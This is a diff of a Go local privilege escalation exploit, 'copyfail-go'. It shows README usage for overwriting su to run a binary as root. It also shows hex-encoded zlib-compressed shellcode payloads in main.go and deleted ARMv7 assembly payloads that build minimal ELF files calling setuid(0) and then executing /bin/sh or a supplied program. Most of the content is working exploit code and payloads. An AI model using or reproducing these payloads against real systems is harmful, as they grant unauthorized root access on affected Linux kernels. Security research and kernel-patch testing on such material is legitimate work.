milliways-infosec/copyfail-go
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main ... 1.1.0

6 changed files with 3 additions and 140 deletions
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7
.goreleaser.yaml
View file

@ -9,13 +9,6 @@ builds:
- CGO_ENABLED=0
goos:
- linux
goarch:
- amd64
- "386"
- arm64
- arm
goarm:
- "7"
archives:
- formats: binary

6
README.md
View file

@ -29,12 +29,6 @@ user@host$ ./copyfail-go --backup /tmp/su --exec ./your-binary
user@host$ # Use whatever you ran to restore su from /tmp/su
```
## Don't trust those hex blobs?
Compile the payloads yourself with `payloads/build-n-print.sh` on a Debian host (Debian 13 tested).
You'll need to `apt install nasm python3 binutils-aarch64-linux-gnu binutils-arm-linux-gnueabihf` then run the script from in the payloads directory. It will compile each payload and output the zlib compressed hex strings. Compare those to what is in `main.go` (or replace them with your own) and build the `copyfile-go` binaries with `goreleaser build --snapshot --clean` from the main project directory.
## Affected kernels (from [copy-fail-c](https://github.com/tgies/copy-fail-c/tree/main#affected-kernels))
```

4
main.go
View file

@ -36,7 +36,6 @@ var payloadsZlibHex = map[string]string{
"amd64": "789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c00111d10d3",
"386": "789cab77f57163646464800126066606102fa48185c38401014c18141860aae0aa816a40b806c80461569098000383e101c3db1bae9e6d303c1090a1af5f9c91a19f9499d7f93820b8f361e7a10ddc4089db598c11671b0038b31858",
"arm64": "78daab77f5716362646480012686ed0c205e05830398efc080091c182c18603a40342b9a2c32bd06ca5b039787e96cb8e421d47009c8bb0214126004f29980788534540cc4e686b0f59332f3f48b3318003ff61578",
"arm": "789cab77f57163646464800126060d06102f84c181c10426c8c2c06ac2a0c000538550ed00c61d40128459e1b20b1e8b172c780c64bc9760e87fc42000642b2c78cc0d1503c93342d9fa499979fac5190c00aca71742",
}
// See payloads/exec-argv1-* for the shellcode
@ -44,7 +43,6 @@ var execArgv1ZlibHex = map[string]string{
"amd64": "789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e02e5c1680601086578c0f0ff864c7e568fee1a1501c36f59d61133f9590dff67d944f0b3020082b00eaf",
"386": "789cab77f57163646464800126066606102fa48185c38401014c18141860aae0aa816a40381fc80461569098000383e101c3db1bae9e6de88e51e1303c99c51d31f36c83e1ed2cc688b30d001bf41180",
"arm64": "789cab77f5716362646480012686ed0c205e05830398efc080091c182c18603a40342b9a2c32bd04ca5b029787e96cb8e421d47009c8bbf280dbe1272390cf04c42ba4216220f915dc103600d72b1509",
"arm": "789cab77f57163646464800126060d06102f84c181c10426c8c2c06ac2a0c000538550ed00c60d40128459e1b20b1e8b172c780c64bce76098fb944100c85658f0981b2a06926784b201f6cc14c1",
}
// packCmsg constructs a raw Control Message (CMSG) buffer to be sent alongside the payload
@ -243,7 +241,7 @@ func main() {
// Pick payload for the running architecture
payloadHex, ok = payloadsZlibHex[runtime.GOARCH]
if !ok {
log.Fatalf("Unsupported architecture: %s", runtime.GOARCH)
log.Fatalf("Unsupported architecture: %s (need amd64 or arm64)", runtime.GOARCH)
}
}
payloadZlib, err := hex.DecodeString(payloadHex)

18
payloads/build-n-print.sh
View file

@ -25,7 +25,7 @@ if ! command -v aarch64-linux-gnu-as &> /dev/null; then
exit 1
fi
for payload in *aarch64.S; do
for payload in *.S; do
# Assemble the source into an object file
echo "[+] Building $payload"
aarch64-linux-gnu-as $payload -o ${payload%.S}.o
@ -35,19 +35,3 @@ for payload in *aarch64.S; do
echo "[+] Printing $payload as hex"
cat ${payload%.S} | python3 -c 'import sys, zlib; print(zlib.compress(sys.stdin.buffer.read()).hex())'
done
if ! command -v arm-linux-gnueabihf-as &> /dev/null; then
echo "[!] arm-linux-gnueabihf-as could not be found. Please install binutils-arm-linux-gnueabihf"
exit 1
fi
for payload in *armv7l.S; do
# Assemble the source into an object file
echo "[+] Building $payload"
arm-linux-gnueabihf-as $payload -o ${payload%.S}.o
# Extract ONLY the raw bytes into a flat binary file
echo "[+] Extracting $payload as binary"
arm-linux-gnueabihf-objcopy -O binary ${payload%.S}.o ${payload%.S}
echo "[+] Printing $payload as hex"
cat ${payload%.S} | python3 -c 'import sys, zlib; print(zlib.compress(sys.stdin.buffer.read()).hex())'
done

53
payloads/exec-argv1-armv7l.S
View file

@ -1,53 +0,0 @@
.section .text
.globl _start
// --- 32-bit ELF Header (52 bytes) ---
ehdr:
.byte 0x7F, 0x45, 0x4c, 0x46 // "\x7fELF"
.byte 1, 1, 1, 0 // 32-bit, little-endian, version 1
.byte 0, 0, 0, 0, 0, 0, 0, 0
.short 2 // e_type: Executable
.short 40 // e_machine: ARM (0x28)
.int 1 // e_version
.int 0x400054 // e_entry (0x400000 + 0x34 + 0x20)
.int 0x34 // e_phoff (Program Header offset = 52)
.int 0 // e_shoff
.int 0x5000400 // e_flags: EF_ARM_EABI_VER5 | EF_ARM_VFP_FLOAT
.short 52 // e_ehsize
.short 32 // e_phentsize
.short 1 // e_phnum
.short 0 // e_shentsize
.short 0 // e_shnum
.short 0 // e_shstrndx
// --- Program Header (PT_LOAD, 32 bytes) ---
phdr:
.int 1 // p_type: PT_LOAD
.int 0 // p_offset
.int 0x400000 // p_vaddr
.int 0x400000 // p_paddr
.int file_end - ehdr // p_filesz
.int file_end - ehdr // p_memsz
.int 5 // p_flags: PF_R | PF_X
.int 0x10000 // p_align
// --- Payload ---
_start:
// setuid(0)
mov r0, #0
mov r7, #23 // SYS_setuid
svc #0
// execve(argv[1], NULL, NULL)
ldr r0, [sp, #8] // r0 = argv[1] (skip argc + argv[0], 4 bytes each)
mov r1, #0 // r1 = NULL
mov r2, #0 // r2 = NULL
mov r7, #11 // SYS_execve
svc #0
// exit(0)
mov r0, #0
mov r7, #1 // SYS_exit
svc #0
file_end:

53
payloads/exec-bin-sh-armv7l.S
View file

@ -1,53 +0,0 @@
.section .text
.globl _start
// --- 32-bit ELF Header (52 bytes) ---
ehdr:
.byte 0x7F, 0x45, 0x4c, 0x46 // "\x7fELF"
.byte 1, 1, 1, 0 // 32-bit, little-endian, version 1
.byte 0, 0, 0, 0, 0, 0, 0, 0
.short 2 // e_type: Executable
.short 40 // e_machine: ARM (0x28)
.int 1 // e_version
.int 0x400054 // e_entry (0x400000 + 0x34 + 0x20)
.int 0x34 // e_phoff (Program Header offset = 52)
.int 0 // e_shoff
.int 0x5000400 // e_flags: EF_ARM_EABI_VER5 | EF_ARM_VFP_FLOAT
.short 52 // e_ehsize
.short 32 // e_phentsize
.short 1 // e_phnum
.short 0 // e_shentsize
.short 0 // e_shnum
.short 0 // e_shstrndx
// --- Program Header (PT_LOAD, 32 bytes) ---
phdr:
.int 1 // p_type: PT_LOAD
.int 0 // p_offset
.int 0x400000 // p_vaddr
.int 0x400000 // p_paddr
.int file_end - ehdr // p_filesz
.int file_end - ehdr // p_memsz
.int 5 // p_flags: PF_R | PF_X
.int 0x10000 // p_align
// --- Payload ---
_start:
mov r0, #0
mov r7, #23 // SYS_setuid
svc #0
adr r0, sh // PC-relative load of the "sh" label
mov r1, #0
mov r2, #0
mov r7, #11 // SYS_execve
svc #0
mov r0, #0
mov r7, #1 // SYS_exit
svc #0
sh:
.asciz "/bin/sh" // 8 bytes (includes null terminator)
file_end: